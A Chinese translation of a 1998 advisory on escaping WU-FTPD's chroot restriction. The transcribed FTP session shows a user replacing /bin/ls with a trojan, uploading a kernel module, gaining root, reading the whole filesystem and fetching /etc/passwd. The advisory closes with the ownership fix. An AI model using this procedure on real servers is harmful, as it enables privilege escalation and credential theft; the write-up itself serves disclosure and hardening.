突破FTP中的限制
这篇文章是对WU-FTPD设置了CHROOT后,配置出现的问题造成了突破CHROOT限制,并可以访问全部文件系统,我只是看到了这篇文章,感觉思路不错,就把其翻译了出来,由于时间仓促,没有对程序进行测试。这篇文章也是98年发表的文章,所以并不一定对现在最新的系统适用。------------了解思路吗!!! 下面是对WU-FTPD的测试,尽管任何FTP服务程序允许限制各种访问,但在用户目录下使用/bin/ls存在潜在的漏洞。 当我们增加一个新的用户到系统的时候(使用adduser,useradd等),新的用户就变成了他用户目录的属主,如: drwx------ 2 user users 1024 Jun 21 11:26 /home/user/ 问题出在当我们设置FTP服务器为了限制用户访问他们目录权利的时候,现在在我们的模拟系统中的用户home目录下建立一个目录结构: /etc: 密码,组 . /bin: ls, compress, gzip... - 一些可以运行的两进制程序。 /lib, /usr/lib: 一些需要的库文件。 /dev: 为了建立连接某些操作系统需要访问的一些设备。 用户不需要改变他们的目录等属性,因为我们限制了他们的许可权利和把所有权归属给超级用户。 问题在于当我们做这个的时候,我们忘记了用户home目录的属主现在是归属于用户的。这样的话他可以改变此目录下的任意文件,下面的情况是很容易找到的: drwxr-xr-x 6 user users 1024 Jun 21 11:26 /home/user/ drwx--x--x 2 root root 1024 Jun 21 11:26 /home/user/bin/ 在这里用户user可以改变在他Home下的bin目录,(如果目录里的内容不归属于此用户,我们不能删除目录下的内容,但并不能阻止我们改名它): OK,现在的要点在那里?我们可以看看wu.ftpd是怎样内部工作的: 当我们通过FTP(LIST命令)来请求一个目录列表的时候,FTP服务程序执行了/bin/ls,注意,这个ls一般是受限用户下的/bin/ls程序。 我们知道FTP服务程序是以ROOT身份来运行的,当一个用户访问受限制的FTP,服务程序会改变它的euid为用户uid。服务程序使用seteuid()来代替setuid()是为了重新获得超级用户的权利,但使用setuid()来操作是不可能的。 不管怎样,FTP服务程序执行了在chroot()后的用户目录下的/bin/ls,chroot()是改变了处理ROOT目录的方法。在chroot()以后进程只能访问文件系统的一部分,而且不能超越这个限制。 如果用户能修改/bin/ls,接着当我们运行LIST的时候,系统就会运行我们修改过的ls,并且这个程序是以euid等用户uid来执行,但这时uid=0,因为ls能调用setuid(0)并要重新获得超级用户的权利,虽然这时候还是在用户目录的限制状况下。 所以下面描述摆脱chroot()的限制: 就象我们上面刚刚说过,即使我们能执行任意代码,我们也只不过在choroot()后的文件系统里在运行,因为chroot()继承父进程到子进程,因此我们派生一个进程的话我们仍然限制于chroot(). ROOT目录进程处理的所有权在系统内存的进程表中存储着所有进程的信息(这个表只能是超级用户访问),因此我们只有能访问这张表,修改我们的ROOT目录并派生一个继承新ROOT目录的进程,我们就摆脱了chroot()的限制。 另外一个方法(FOR LINUX)是装载一个内核模块来捕获chroot()的系统调用,并修改它的可访问文件系统限制,或者干脆是给内核模块来来访问系统并执行任意代码。 实践: thx:~# ftp ftp> o ilm Connected to ilm. 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready. Name (ilm:root): user 331 Password required for user. Password: 230 User user logged in. Access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. 用户连接到了机器并访问了他可以访问的系统,一连接后,FTP服务程序执行了chroot()到用户的home 目录: ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 . drwxr-xr-x 5 user users 1024 Jun 21 11:26 .. d--x--x--x 2 root root 1024 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 226 Transfer complete. ftp> cd .. 250 CWD command successful. ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 5 drwxr-xr-x 5 user users 1024 Jun 21 11:26 . drwxr-xr-x 5 user users 1024 Jun 21 21:26 .. d--x--x--x 2 root root 1024 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc drwxr-xr-x 2 user users 1024 Jun 21 11:26 home 226 Transfer complete. 用户被受限于他的home目录: ftp> ls bin/ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. ---x--x--x 1 root root 138008 Jun 21 11:26 bin/ls 226 Transfer complete. ftp> ren bin bin.old 350 File exists, ready for destination name 250 RNTO command successful. ftp> mkdir bin 257 MKD command successful. ftp> cd bin 250 CWD command successful. ftp> put ls 226 Transfer complete. ftp> put insmod 226 Transfer complete. ftp> put chr.o 226 Transfer complete. 修改ls两进制程序并上载所需文件 ftp> chmod 555 ls 200 CHMOD command successful. ftp> chmod 555 insmod 200 CHMOD command successful 改变文件属性,这样可以来执行刚刚上载的文件。 ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. UID: 0 EUID: 1002 Cambiando EUID... UID: 0 EUID: 0 Cargando modulo chroot... Modulo cargado. 226 Transfer complete. 运行修改过的ls并改变他的euid=0和装载木马模块。 ftp> bye 221 Goodbye. thx:~# 这时,用户已经装载了内核模块并捕获和使chroot() syscall无效了 thx:~# ftp ftp> o ilm Connected to ilm. 220 ilm FTP server (Version wu-2.4(4) Wed Oct 15 16:11:18 PDT 1997) ready. Name (ilm:root): user 331 Password required for user. Password: 230 User user logged in. Access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. 再次登陆,服务程序chroot()到用户目录,但这次由我们的内核模块进行了控制。 ftp> ls 200 PORT command successful. 150 Opening ASCII mode data connection for /bin/ls. total 1697 drwxr-xr-x 21 root root 1024 Jun 21 11:57 . drwxr-xr-x 21 root root 1024 Jun 21 11:57 .. -rw-r--r-- 1 root root 118 Apr 21 11:26 .bash_history drwxr-xr-x 2 root bin 2048 Jun 21 11:26 bin drwxr-xr-x 2 root root 1024 Jun 8 11:26 boot drwxr-xr-x 2 root root 1024 Oct 6 11:26 cdrom drwxr-xr-x 3 root root 21504 Jun 21 15:26 dev drwxr-xr-x 14 root root 3072 Jun 21 15:26 etc drwxr-xr-x 7 root root 1024 Jun 21 19:26 export drwxr-xr-x 7 root root 1024 Jun 21 19:26 home dr-xr-xr-x 5 root root 0 Jun 21 14:26 proc ... -rw-r--r-- 1 root root 404717 Mar 12 18:06 vmlinuz 226 Transfer complete. 这时我们可以访问整个文件系统了。 ftp> get /etc/passwd 226 Transfer complete. ftp> bye 221 Goodbye. thx:~# 这是使用了可装载内核模块,假如你使用了其他修改文件等等的可装载内核模块,我们就可以获得更大的权利。 最好的解决办法是设置正确的目录属性: ilm:~$ ls -ula /home/user total 5 drwxr-xr-x 6 root root 1024 Jun 21 11:26 ./ drwxr-xr-x 8 root root 1024 Jun 21 11:26 ../ d--x--x--x 2 root root 1024 Jun 21 11:26 bin/ drwxr-xr-x 2 root root 1024 Jun 21 11:26 etc/ drwxr-xr-x 2 user users 1024 Jun 21 11:26 home/ ilm:~$ 更好的办法是使用ProFTPD,因为ProFTPD要比WU-FTPD的安全性好不少。 参考: 1,模块代码下载:http://hispahack.ccc.de/wu-guest.tgz 2,wu-ftpd Resource Center --http://www.landfield.com/wu-ftpd/ 3,ProFTPD -- http://www.proftpd.org/ 4,原文:http://hispahack.ccc.de/en/mi009en.htm |